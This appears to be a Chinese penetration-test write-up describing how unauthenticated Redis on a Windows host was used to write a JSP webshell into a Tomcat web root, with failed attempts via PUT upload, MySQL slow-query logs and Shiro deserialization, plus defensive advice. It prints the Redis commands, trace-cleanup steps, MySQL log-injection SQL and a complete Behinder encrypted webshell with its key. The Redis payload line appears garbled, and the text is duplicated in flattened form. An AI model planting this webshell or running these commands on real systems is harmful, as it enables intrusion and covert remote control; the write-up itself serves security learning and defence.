踩坑版渗透-记录某次授权测试
字数 1650 2025-08-19 12:41:39

Redis未授权访问与Windows环境下的渗透利用

1. 信息收集阶段

1.1 端口扫描发现

  • 目标系统开放了多个端口:
    • 21/tcp (FTP)
    • 80/tcp (HTTP, Microsoft IIS httpd 10.0)
    • 6379/tcp (Redis)
    • 8085/tcp (HTTP, nginx 1.16.1)
    • 8089/tcp (HTTP, 404)
    • 8098/tcp (HTTP, 404)

1.2 服务识别

  • Redis服务(6379)被发现存在未授权访问漏洞
  • Web服务运行在IIS和nginx上
  • 多个Tomcat实例(通过8089和8098端口判断)

2. Redis未授权访问利用

2.1 Redis基础利用方法

  • Linux环境下
    • 写入SSH公钥
    • 写入计划任务反弹shell
  • Windows环境下
    • 只能写入webshell
    • 需要获取web目录的真实路径

2.2 Windows环境下的利用步骤

  1. 获取web目录

    • 通过网站目录浏览功能发现多个Tomcat实例
    • 确认其中一个可访问目录:C:\Program Files\**\*\ROOT
  2. Redis写入webshell

    config set dir "C:\Program Files\**\*\ROOT"
    config set dbfilename "index-back.jsp"
    set xxx1xxx "\<\%\@page import\=\"java.util.*\,javax.crypto.*\,javax.crypto.spec.class U extends ClassLoader{U(ClassLoader c){super(c)\;}public Class g(byte []b){return super.defineClass(b\,0\,b.length)if (request.getMethod().equals(\"POST\"")){String k\=\"e45e329feb5d925b\"\;session.putValue(\"u\"\,k)\;Cipher c\=Cipher.getInstance(\"AES\")\;c.init(2\,new SecretKeySpec(k.getBytes()\,\"AES\"))\;new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)"
    save
    
  3. 清理痕迹

    del xxx1xxx
    config set dir "C:\**\*"
    config set dbfilename "dump"
    

2.3 使用的Webshell

  • 冰蝎(Behinder)加密马:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

3. 其他尝试的攻击方法

3.1 文件上传漏洞

  • 发现系统接收PUT方法上传文件
  • 尝试绕过失败,原因是临时上传目录不存在
  • 错误信息:Failed to parse multipart servlet request; nested exception is java.io.IOException: The temporary upload location

3.2 MySQL日志写入Webshell

  • 尝试通过慢查询日志写入Webshell:
SHOW VARIABLES LIKE "%slow_query_log%";
set global slow_query_log=1;
set global slow_query_log_file='C:\Tomcat\webapps\ROOT\conf-back.jsp';
select '<%@page import="java.util.*,javax.crypto........一句话木马' or sleep(11);
  • 失败原因:SQL语句被URL编码拼接,解释器处理方式不同

3.3 Shiro反序列化

  • 发现响应头有rememberMe=deleteMe标识
  • 尝试使用Shiro反序列化工具:
    • ShiroScan: https://github.com/fupinglee/ShiroScan/releases
    • ysoserial: https://github.com/frohoff/ysoserial
  • 失败原因:系统只使用token标识,不使用cookie

4. 防御建议

  1. Redis安全配置

    • 设置强密码认证
    • 绑定特定IP访问
    • 修改默认端口
    • 禁用危险命令(如config)
  2. Web应用安全

    • 避免使用弱密码,特别是管理系统
    • 对文件上传功能进行严格限制
    • 避免目录遍历漏洞
    • 对登录凭证进行加密,避免单纯依赖token
  3. 系统架构安全

    • 非必要服务不要暴露在公网
    • 测试环境应与生产环境隔离
    • 使用白名单限制访问
    • 业务服务使用普通用户权限运行
  4. 日志与监控

    • 监控异常文件创建和修改
    • 记录Redis的config命令使用
    • 监控Web目录下的异常文件

5. 参考工具

  1. Shiro反序列化工具

    • https://github.com/fupinglee/ShiroScan
    • https://github.com/wh1t3p1g/ysoserial
    • https://github.com/zema1/ysoserial/
  2. Redis利用参考

    • 《Redis on Windows 出网利用探索》: https://xz.aliyun.com/t/8153
  3. Webshell工具

    • 冰蝎(Behinder): 加密型webshell管理工具

6. 总结

本次渗透测试展示了在Windows环境下利用Redis未授权访问漏洞获取系统权限的过程。关键点包括:

  1. 通过信息收集发现Redis未授权访问漏洞
  2. 利用目录遍历功能获取web真实路径
  3. 通过Redis写入加密webshell
  4. 使用冰蝎连接获取控制权限

防御此类攻击需要多层次的防护措施,包括服务配置加固、权限最小化和完善的监控机制。

Redis未授权访问与Windows环境下的渗透利用 1. 信息收集阶段 1.1 端口扫描发现 目标系统开放了多个端口: 21/tcp (FTP) 80/tcp (HTTP, Microsoft IIS httpd 10.0) 6379/tcp (Redis) 8085/tcp (HTTP, nginx 1.16.1) 8089/tcp (HTTP, 404) 8098/tcp (HTTP, 404) 1.2 服务识别 Redis服务(6379)被发现存在未授权访问漏洞 Web服务运行在IIS和nginx上 多个Tomcat实例(通过8089和8098端口判断) 2. Redis未授权访问利用 2.1 Redis基础利用方法 Linux环境下 : 写入SSH公钥 写入计划任务反弹shell Windows环境下 : 只能写入webshell 需要获取web目录的真实路径 2.2 Windows环境下的利用步骤 获取web目录 : 通过网站目录浏览功能发现多个Tomcat实例 确认其中一个可访问目录: C:\Program Files\**\*\ROOT Redis写入webshell : 清理痕迹 : 2.3 使用的Webshell 冰蝎(Behinder)加密马: 3. 其他尝试的攻击方法 3.1 文件上传漏洞 发现系统接收PUT方法上传文件 尝试绕过失败,原因是临时上传目录不存在 错误信息: Failed to parse multipart servlet request; nested exception is java.io.IOException: The temporary upload location 3.2 MySQL日志写入Webshell 尝试通过慢查询日志写入Webshell: 失败原因:SQL语句被URL编码拼接,解释器处理方式不同 3.3 Shiro反序列化 发现响应头有 rememberMe=deleteMe 标识 尝试使用Shiro反序列化工具: ShiroScan: https://github.com/fupinglee/ShiroScan/releases ysoserial: https://github.com/frohoff/ysoserial 失败原因:系统只使用token标识,不使用cookie 4. 防御建议 Redis安全配置 : 设置强密码认证 绑定特定IP访问 修改默认端口 禁用危险命令(如config) Web应用安全 : 避免使用弱密码,特别是管理系统 对文件上传功能进行严格限制 避免目录遍历漏洞 对登录凭证进行加密,避免单纯依赖token 系统架构安全 : 非必要服务不要暴露在公网 测试环境应与生产环境隔离 使用白名单限制访问 业务服务使用普通用户权限运行 日志与监控 : 监控异常文件创建和修改 记录Redis的config命令使用 监控Web目录下的异常文件 5. 参考工具 Shiro反序列化工具 : https://github.com/fupinglee/ShiroScan https://github.com/wh1t3p1g/ysoserial https://github.com/zema1/ysoserial/ Redis利用参考 : 《Redis on Windows 出网利用探索》: https://xz.aliyun.com/t/8153 Webshell工具 : 冰蝎(Behinder): 加密型webshell管理工具 6. 总结 本次渗透测试展示了在Windows环境下利用Redis未授权访问漏洞获取系统权限的过程。关键点包括: 通过信息收集发现Redis未授权访问漏洞 利用目录遍历功能获取web真实路径 通过Redis写入加密webshell 使用冰蝎连接获取控制权限 防御此类攻击需要多层次的防护措施,包括服务配置加固、权限最小化和完善的监控机制。